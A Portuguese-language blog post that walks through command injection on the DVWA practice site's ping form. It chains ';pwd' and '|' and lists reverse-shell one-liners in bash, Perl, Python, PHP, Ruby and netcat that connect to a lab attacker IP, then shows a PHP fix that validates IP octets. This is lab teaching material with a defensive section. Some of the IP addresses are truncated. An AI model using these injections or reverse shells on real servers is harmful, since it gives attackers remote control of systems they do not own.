Vulnerabilidade de execução de códigos em sites (DVWA)
Nesse artigo pretendo demonstrar como funciona uma famosa vulnerabilidade que hackers podem utilizar para executar codigos em um site. Farei uma demonstração com o site DVWA para entedermos como essa vulnerabilidade pode ser utilizada e trarei como evitar.
Podemos utilizar um comando para controlar o site, por exemplo nesse site temos um local em que podemos fazer o comando para fazer ping em qualquer local.
Podemos utilizar um comando para controlar o site, por exemplo nesse site temos um local em que podemos fazer o comando para fazer ping em qualquer local.
No linux podemos utilizar ; para executar dois comandos
vamos testar e fazer o ping e ;pwd
com o Site DVWA em low security
ping 10.20.14.203 ;pwd
|
Podemos ver que foi feito o ping e também rodou o comando pwd, achamos a vulnerabilidade.
Agora vamos explorar essa vulnerabilidade
Lista de comandos para conseguir reverse connection com o computador alvo.
#Os exemplos abaixo assumem que o Hacker tenha o IP is 10.20.14 e usa a #porta 8080 para conexão.
#De qualquer forma, precisa ouvir a porta 8080 Usando o seguinte comando
nc -vv -l -p 8080
BASH bash -i >& /dev/tcp/10.20.14.203/8080 0>&1 PERL perl -e 'use Socket;$i="10.20.14";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' Python python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.20.14",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' PHP php -r '$sock=fsockopen("10.20.14",8080);exec("/bin/sh -i <&3 >&3 2>&3");' Ruby ruby -rsocket -e'f=TCPSocket.open("10.20.14",8080).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' Netcat nc -e /bin/sh 10.20.14 8080 |
Vamos usar o Netcat para ouvir e conectar com outro computador, em nosso computador digitamos
nc -vv -l -p 8080
|
nc = netcat
- vv = ver se há algo errado
-l = listen
-p = port
Agora vamos conectar pelo webserver, assumimos que ele tenha Netcat, e rodamos o comando de Netcat após a solicitação de Ping
10.20.14.203; nc -e /bin/sh 10.20.14.203 8080
|
Voltando ao Kali, vemos que recebemos a conexão
Aumentando a dificuldade para mais dificil
No exemplo passado fizemos a utilização do comando ; que roda os dois comandos
Agora vamos testar com o comando | que roda apenas um comando
Vamos testar:
Funcionou :)
Segurança
Para resolver esse problema devemos arrumar no código do site impossibilitando-o de enviar algum comando
Pode se utilizar um Regex para que o Input seja somente o que queremos
Usar a função explode()
e verificar se todos os resultados são números
<?php
if( isset( $_POST[ 'Submit' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $target = $_REQUEST[ 'ip' ]; $target = stripslashes( $target ); // Split the IP into 4 octects $octet = explode( ".", $target ); // Check IF each octet is an integer if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) { // If all 4 octets are int's put the IP back together. $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3]; // Determine OS and execute the ping command. if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping ' . $target ); } else { // *nix $cmd = shell_exec( 'ping -c 4 ' . $target ); } // Feedback for the end user $html .= "<pre>{$cmd}</pre>"; } else { // Ops. Let the user name theres a mistake $html .= '<pre>ERROR: You have entered an invalid IP.</pre>'; } } // Generate Anti-CSRF token generateSessionToken(); ?> |
Comentários
Postar um comentário